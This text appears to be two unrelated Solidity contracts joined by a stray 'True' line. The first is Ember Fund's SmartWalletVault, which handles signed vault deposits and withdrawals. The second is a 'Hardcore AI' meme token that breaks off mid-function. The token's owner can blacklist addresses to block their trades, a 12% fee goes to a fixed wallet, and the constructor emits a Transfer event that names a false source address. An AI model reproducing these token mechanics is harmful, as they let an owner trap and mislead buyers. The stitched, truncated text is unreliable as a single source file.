account); event WhitelistedRemoved(address indexed account); Roles.Role private _whitelisteds; modifier onlyWhitelisted() { require(isWhitelisted(_msgSender()), "WhitelistedRole: caller does not have the Whitelisted role"); _; } function initialize(address sender) public initializer { WhitelistAdminRole.initialize(sender); } function isWhitelisted(address account) public view returns (bool) { return _whitelisteds.has(account); } function addWhitelisted(address account) public onlyWhitelistAdmin { _addWhitelisted(account); } function removeWhitelisted(address account) public onlyWhitelistAdmin { _removeWhitelisted(account); } function renounceWhitelisted() public { _removeWhitelisted(_msgSender()); } function _addWhitelisted(address account) internal { _whitelisteds.add(account); emit WhitelistedAdded(account); } function _removeWhitelisted(address account) internal { _whitelisteds.remove(account); emit WhitelistedRemoved(account); } uint256[50] private ______gap; } // File: contracts/access/roles/WhitelistedRoleMeta.sol pragma solidity ^0.5.0; /** * @title WhitelistedRoleMeta * @dev Add meta transaction capabilities to the WhitelistedRole contract. */ contract WhitelistedRoleMeta is WhitelistedRole { function initialize(address sender) public initializer { WhitelistAdminRole.initialize(sender); } function addSignedWhitelisted(address account, bytes memory signature) public { address signer = getWhitelistedRoleActionSigner('addSignedWhitelisted', account, signature); require(signer != address(0), "Invalid signature"); require(isWhitelistAdmin(signer), "signer is not an admin"); _addWhitelisted(account); } function addSignedWhitelistAdmin(address account, bytes memory signature) public { address signer = getWhitelistedRoleActionSigner('addSignedWhitelistAdmin', account, signature); require(signer != address(0), "Invalid signature"); require(isWhitelistAdmin(signer), "signer is not an admin"); _addWhitelistAdmin(account); } function getWhitelistedRoleActionSigner(string memory action, address account, bytes memory _signature) private view returns (address) { bytes32 msgHash = OpenZeppelinUpgradesECDSA.toEthSignedMessageHash( keccak256( abi.encodePacked( action, account, address(this) ) ) ); return OpenZeppelinUpgradesECDSA.recover(msgHash, _signature); } } // File: contracts/utils/ReentrancyGuardEmber.sol pragma solidity ^0.5.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * This is the exact same contract implemented by the openzeppelin team here: * https://github.com/OpenZeppelin/openzeppelin-contracts-ethereum-package/blob/master/contracts/utils/ReentrancyGuard.sol * The contract name clashes with the version used in the set protocol dependency * and had to be renamed to be used in this project. */ contract ReentrancyGuardEmber is Initializable { // counter to allow mutex lock with only one SSTORE operation uint256 private _guardCounter; function initialize() public initializer { // The counter starts at one to prevent changing it from zero to a non-zero // value, which is a more expensive operation. _guardCounter = 1; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { _guardCounter += 1; uint256 localCounter = _guardCounter; _; require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call"); } uint256[50] private ______gap; } // File: openzeppelin-solidity/contracts/math/SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: set-protocol-contract-utils/contracts/lib/CommonMath.sol /* Copyright 2018 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.5.7; library CommonMath { using SafeMath for uint256; uint256 public constant SCALE_FACTOR = 10 ** 18; uint256 public constant MAX_UINT_256 = 2 ** 256 - 1; /** * Returns scale factor equal to 10 ** 18 * * @return 10 ** 18 */ function scaleFactor() internal pure returns (uint256) { return SCALE_FACTOR; } /** * Calculates and returns the maximum value for a uint256 * * @return The maximum value for uint256 */ function maxUInt256() internal pure returns (uint256) { return MAX_UINT_256; } /** * Increases a value by the scale factor to allow for additional precision * during mathematical operations */ function scale( uint256 a ) internal pure returns (uint256) { return a.mul(SCALE_FACTOR); } /** * Divides a value by the scale factor to allow for additional precision * during mathematical operations */ function deScale( uint256 a ) internal pure returns (uint256) { return a.div(SCALE_FACTOR); } /** * @dev Performs the power on a specified value, reverts on overflow. */ function safePower( uint256 a, uint256 pow ) internal pure returns (uint256) { require(a > 0); uint256 result = 1; for (uint256 i = 0; i < pow; i++){ uint256 previousResult = result; // Using safemath multiplication prevents overflows result = previousResult.mul(a); } return result; } /** * @dev Performs division where if there is a modulo, the value is rounded up */ function divCeil(uint256 a, uint256 b) internal pure returns(uint256) { return a.mod(b) > 0 ? a.div(b).add(1) : a.div(b); } /** * Checks for rounding errors and returns value of potential partial amounts of a principal * * @param _principal Number fractional amount is derived from * @param _numerator Numerator of fraction * @param _denominator Denominator of fraction * @return uint256 Fractional amount of principal calculated */ function getPartialAmount( uint256 _principal, uint256 _numerator, uint256 _denominator ) internal pure returns (uint256) { // Get remainder of partial amount (if 0 not a partial amount) uint256 remainder = mulmod(_principal, _numerator, _denominator); // Return if not a partial amount if (remainder == 0) { return _principal.mul(_numerator).div(_denominator); } // Calculate error percentage uint256 errPercentageTimes1000000 = remainder.mul(1000000).div(_numerator.mul(_principal)); // Require error percentage is less than 0.1%. require( errPercentageTimes1000000 < 1000, "CommonMath.getPartialAmount: Rounding error exceeds bounds" ); return _principal.mul(_numerator).div(_denominator); } /* * Gets the rounded up log10 of passed value * * @param _value Value to calculate ceil(log()) on * @return uint256 Output value */ function ceilLog10( uint256 _value ) internal pure returns (uint256) { // Make sure passed value is greater than 0 require ( _value > 0, "CommonMath.ceilLog10: Value must be greater than zero." ); // Since log10(1) = 0, if _value = 1 return 0 if (_value == 1) return 0; // Calcualte ceil(log10()) uint256 x = _value - 1; uint256 result = 0; if (x >= 10 ** 64) { x /= 10 ** 64; result += 64; } if (x >= 10 ** 32) { x /= 10 ** 32; result += 32; } if (x >= 10 ** 16) { x /= 10 ** 16; result += 16; } if (x >= 10 ** 8) { x /= 10 ** 8; result += 8; } if (x >= 10 ** 4) { x /= 10 ** 4; result += 4; } if (x >= 100) { x /= 100; result += 2; } if (x >= 10) { result += 1; } return result + 1; } } // File: set-protocol-contracts/contracts/lib/IERC20.sol /* Copyright 2018 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.5.7; /** * @title IERC20 * @author Set Protocol * * Interface for using ERC20 Tokens. This interface is needed to interact with tokens that are not * fully ERC20 compliant and return something other than true on successful transfers. */ interface IERC20 { function balanceOf( address _owner ) external view returns (uint256); function allowance( address _owner, address _spender ) external view returns (uint256); function transfer( address _to, uint256 _quantity ) external; function transferFrom( address _from, address _to, uint256 _quantity ) external; function approve( address _spender, uint256 _quantity ) external returns (bool); function totalSupply() external returns (uint256); } // File: set-protocol-contracts/contracts/lib/ERC20Wrapper.sol /* Copyright 2018 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.5.7; /** * @title ERC20Wrapper * @author Set Protocol * * This library contains functions for interacting wtih ERC20 tokens, even those not fully compliant. * For all functions we will only accept tokens that return a null or true value, any other values will * cause the operation to revert. */ library ERC20Wrapper { // ============ Internal Functions ============ /** * Check balance owner's balance of ERC20 token * * @param _token The address of the ERC20 token * @param _owner The owner who's balance is being checked * @return uint256 The _owner's amount of tokens */ function balanceOf( address _token, address _owner ) external view returns (uint256) { return IERC20(_token).balanceOf(_owner); } /** * Checks spender's allowance to use token's on owner's behalf. * * @param _token The address of the ERC20 token * @param _owner The token owner address * @param _spender The address the allowance is being checked on * @return uint256 The spender's allowance on behalf of owner */ function allowance( address _token, address _owner, address _spender ) internal view returns (uint256) { return IERC20(_token).allowance(_owner, _spender); } /** * Transfers tokens from an address. Handle's tokens that return true or null. * If other value returned, reverts. * * @param _token The address of the ERC20 token * @param _to The address to transfer to * @param _quantity The amount of tokens to transfer */ function transfer( address _token, address _to, uint256 _quantity ) external { IERC20(_token).transfer(_to, _quantity); // Check that transfer returns true or null require( checkSuccess(), "ERC20Wrapper.transfer: Bad return value" ); } /** * Transfers tokens from an address (that has set allowance on the proxy). * Handle's tokens that return true or null. If other value returned, reverts. * * @param _token The address of the ERC20 token * @param _from The address to transfer from * @param _to The address to transfer to * @param _quantity The number of tokens to transfer */ function transferFrom( address _token, address _from, address _to, uint256 _quantity ) external { IERC20(_token).transferFrom(_from, _to, _quantity); // Check that transferFrom returns true or null require( checkSuccess(), "ERC20Wrapper.transferFrom: Bad return value" ); } /** * Grants spender ability to spend on owner's behalf. * Handle's tokens that return true or null. If other value returned, reverts. * * @param _token The address of the ERC20 token * @param _spender The address to approve for transfer * @param _quantity The amount of tokens to approve spender for */ function approve( address _token, address _spender, uint256 _quantity ) internal { IERC20(_token).approve(_spender, _quantity); // Check that approve returns true or null require( checkSuccess(), "ERC20Wrapper.approve: Bad return value" ); } /** * Ensure's the owner has granted enough allowance for system to * transfer tokens. * * @param _token The address of the ERC20 token * @param _owner The address of the token owner * @param _spender The address to grant/check allowance for * @param _quantity The amount to see if allowed for */ function ensureAllowance( address _token, address _owner, address _spender, uint256 _quantity ) internal { uint256 currentAllowance = allowance(_token, _owner, _spender); if (currentAllowance < _quantity) { approve( _token, _spender, CommonMath.maxUInt256() ); } } // ============ Private Functions ============ /** * Checks the return value of the previous function up to 32 bytes. Returns true if the previous * function returned 0 bytes or 1. */ function checkSuccess( ) private pure returns (bool) { // default to failure uint256 returnValue = 0; assembly { // check number of bytes returned from last function call switch returndatasize // no bytes returned: assume success case 0x0 { returnValue := 1 } // 32 bytes returned case 0x20 { // copy 32 bytes into scratch space returndatacopy(0x0, 0x0, 0x20) // load those bytes into returnValue returnValue := mload(0x0) } // not sure what was returned: dont mark as success default { } } // check if returned value is one or nothing return returnValue == 1; } } // File: interfaces/IWETH.sol /* Copyright 2018 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.5.7; /** * @title IWETH * @author Set Protocol * * Interface for Wrapped Ether. This interface allows for interaction for wrapped ether's deposit and withdrawal * functionality. */ interface IWETH { function deposit() external payable; function withdraw( uint256 wad ) external; } // File: interfaces/IVault.sol pragma solidity 0.5.7; /** * @title IVault * @author Ember Fund * * Interface for Vaults. This interface allows for interaction for Vault's deposit and withdrawal * functionality. */ interface IVault { function deposit(uint amount) external; function withdraw(uint shares) external; } // File: contracts/utils/ChiGasSaver.sol pragma solidity ^0.5.7; pragma experimental ABIEncoderV2; interface ChiGasSaver { function freeFromUpTo(address from, uint256 value) external returns (uint256 freed); function approve(address spender, uint256 amount) external returns (bool); function allowance(address _owner, address _spender) view external returns (uint256 remaining); } // File: contracts/SmartWalletVault.sol /* Copyright 2018 Ember Fund Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.5.0; /** * @title SmartWallet * @author Ember Fund * * Implementation of the Ember Fund smart wallet adding meta transaction capabilities for issuing and redeeming rebalancing sets. * The smart wallet is owned by an EOA that can white list accounts facilitating the management of any ERC20 tokens stored in the smart wallet. */ contract SmartWalletVault is Initializable, ReentrancyGuardEmber, WhitelistedRoleMeta { using SafeMath for uint256; // Nonces to prevent replay attacks mapping(uint256 => bool) private nonces; uint16 public constant version = 3; // Gas token saver ChiGasSaver public constant chiGasSaver = ChiGasSaver(0x0000000000004946c0e9F43F4Dee607b0eF1fA1c); modifier discountChiGasSaver { uint256 gasStart = gasleft(); _; uint256 gasSpent = 21000 + gasStart - gasleft() + 16 * msg.data.length; uint256 allowance = chiGasSaver.allowance(msg.sender, address(this)); uint256 chiTokensToSpend = (gasSpent + 14154) / 41947; if (allowance < chiTokensToSpend) { chiGasSaver.approve(address(this), chiTokensToSpend); } chiGasSaver.freeFromUpTo(msg.sender, chiTokensToSpend); } mapping(address => address) public depositTokenAddressToYVault; mapping(address => address) public yVaultToDepositTokenAddress; /** * Initialize the smart contract with an owner. */ function initialize(address _owner) public initializer { WhitelistedRoleMeta.initialize(_owner); ReentrancyGuardEmber.initialize(); // Add more deposit to vault mapping to support more vaults // USDT 0xdAC17F958D2ee523a2206206994597C13D831ec7 // yEarn USDT 0x2f08119C6f07c006695E079AAFc638b8789FAf18 depositTokenAddressToYVault[0xdAC17F958D2ee523a2206206994597C13D831ec7] = 0x2f08119C6f07c006695E079AAFc638b8789FAf18; yVaultToDepositTokenAddress[0x2f08119C6f07c006695E079AAFc638b8789FAf18] = 0xdAC17F958D2ee523a2206206994597C13D831ec7; } function() external payable { } // Prod addresses // address constant public transfersProxy = 0x882d80D3a191859d64477eb78Cca46599307ec1C; // address payable constant public rebalancingSetExchangeIssuanceModule = 0xde697AC56b1bD9C0987c08911020f2341e274813; // address payable constant public rebalancingSetIssuanceModule = 0xDA6786379FF88729264d31d472FA917f5E561443; // address payable constant public cTokenaddressToAddressWhiteList = 0x5BA020a8835ed40936941562bdF42D66F65fc00f; function getTransfersProxy() public view returns (address) { return 0x882d80D3a191859d64477eb78Cca46599307ec1C; } function getRebalancingSetExchangeIssuanceModule() public view returns (address payable) { return 0xde697AC56b1bD9C0987c08911020f2341e274813; } function getRebalancingSetIssuanceModule() public view returns (address payable) { return 0xDA6786379FF88729264d31d472FA917f5E561443; } function getCTokenaddressToAddressWhiteList() public view returns (address payable) { return 0x5BA020a8835ed40936941562bdF42D66F65fc00f; } function getWrappedEthInstance() public view returns (IWETH) { return IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); } /** * Withdraw all ERC20 tokens from this contract to the caller address. Only callable by the smart contract owner. */ function withdrawAllAdmin(address [] calldata _tokenAddresses) external nonReentrant onlyWhitelistAdmin { for (uint i=0; i<_tokenAddresses.length; i++) { uint256 tokenBalance = ERC20Wrapper.balanceOf(_tokenAddresses[i], address(this)); ERC20Wrapper.transfer( _tokenAddresses[i], msg.sender, tokenBalance ); } } /** * Withdraw an ERC20 token to the owner's account. */ function withdrawERC20(address _tokenAddress, address _to, uint256 _withdrawalAmount) external nonReentrant onlyWhitelisted { uint256 tokenBalance = ERC20Wrapper.balanceOf(_tokenAddress, address(this)); require(tokenBalance >= _withdrawalAmount, "Withdrawal amount is too high"); require(this.isWhitelistAdmin(_to), "You can only withdraw to an owner address"); ERC20Wrapper.transfer( _tokenAddress, _to, _withdrawalAmount ); } /** * Withdraw ETH to the owner's account. */ function withdrawETH(address payable _to, uint256 _withdrawalAmount) external nonReentrant onlyWhitelisted { uint256 ethBalance = address(this).balance; require(ethBalance >= _withdrawalAmount, "Withdrawal amount is too high"); require(this.isWhitelistAdmin(_to), "You can only withdraw to an owner address"); _to.transfer(_withdrawalAmount); } function _checkReplayAttack( uint256 _nonce ) private nonReentrant { require(!nonces[_nonce], "Replay attack detected."); nonces[_nonce] = true; } /** * Get the signer of vault deposit. */ function getVaultDepositSigner(address _vaultAddress, address _tokenDepositAddress, uint256 _nonce, bytes memory _signature) private view returns (address) { bytes32 msgHash = OpenZeppelinUpgradesECDSA.toEthSignedMessageHash( keccak256( abi.encodePacked( _vaultAddress, _tokenDepositAddress, _nonce, address(this) ) ) ); return OpenZeppelinUpgradesECDSA.recover(msgHash, _signature); } function vaultDeposit( address _vaultAddress, address _tokenDepositAddress, uint256 _amount, uint256 _nonce, bytes memory _signature ) public nonReentrant discountChiGasSaver { _checkReplayAttack(_nonce); require(depositTokenAddressToYVault[_tokenDepositAddress] == _vaultAddress, "Deposit token and vault not supported"); address signer = getVaultDepositSigner(_vaultAddress, _tokenDepositAddress, _nonce, _signature); require(signer != address(0), "Invalid signature"); require(isWhitelistAdmin(signer), "signer is not an admin"); uint256 tokenDepositBalance = ERC20Wrapper.balanceOf(_tokenDepositAddress, address(this)); require(tokenDepositBalance >= _amount, "Token deposit balance is too low"); // Approve the vault to spend the SMA's owner's deposit token's // Required for certain stable coins (USDT for example) ERC20Wrapper.approve(_tokenDepositAddress, _vaultAddress, 0); ERC20Wrapper.approve(_tokenDepositAddress, _vaultAddress, _amount); // Deposit tokens to the vault IVault(_vaultAddress).deposit(_amount); } /** * Get the signer of a vault withdrawal. */ function getVaultWithdrawalSigner(address _vaultAddress, address payable _to, uint256 _nonce, bytes memory _signature) private view returns (address) { bytes32 msgHash = OpenZeppelinUpgradesECDSA.toEthSignedMessageHash( keccak256( abi.encodePacked( _vaultAddress, _to, _nonce, address(this) ) ) ); return OpenZeppelinUpgradesECDSA.recover(msgHash, _signature); } function vaultWithdraw( address _vaultAddress, uint shares, address payable _to, uint256 _nonce, bytes memory _signature ) public nonReentrant discountChiGasSaver { _checkReplayAttack(_nonce); address depositTokenAddress = yVaultToDepositTokenAddress[_vaultAddress]; require(depositTokenAddress != address(0), "Vault not supported"); address signer = getVaultWithdrawalSigner(_vaultAddress, _to, _nonce, _signature); require(signer != address(0), "Invalid signature"); require(isWhitelistAdmin(signer), "signer is not an admin"); // Get current balance of the deposit token before withdrawal uint256 depositTokenBalanceBeforeWithdrawal = ERC20Wrapper.balanceOf(depositTokenAddress, address(this)); // Withdraw shares of the vault to deposit token IVault(_vaultAddress).withdraw(shares); // Compute how many deposit tokens were withdrawn uint256 depositTokenWithdrawn = ERC20Wrapper.balanceOf(depositTokenAddress, address(this)).sub(depositTokenBalanceBeforeWithdrawal); require(depositTokenWithdrawn > 0, "No token withdrawn"); // Transfer withdrawn tokens to address passed as parameter ERC20Wrapper.transfer( depositTokenAddress, _to, depositTokenWithdrawn ); } }

True

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/** *Submitted for verification at Etherscan.io on 2021-12-06 */ /** TG: https://t.me/Hardcore_AI */ pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract HardcoreAI is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Hardcore AI"; string private constant _symbol = "HardcoreAI"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xd0f2fBD955dB6cD57f208aBA3942048daC3913B8); _feeAddrWallet2 = payable(0xd0f2fBD955dB6cD57f208aBA3942048daC3913B8); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0xd55FF395A7360be0c79D3556b0f65ef44b319575), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 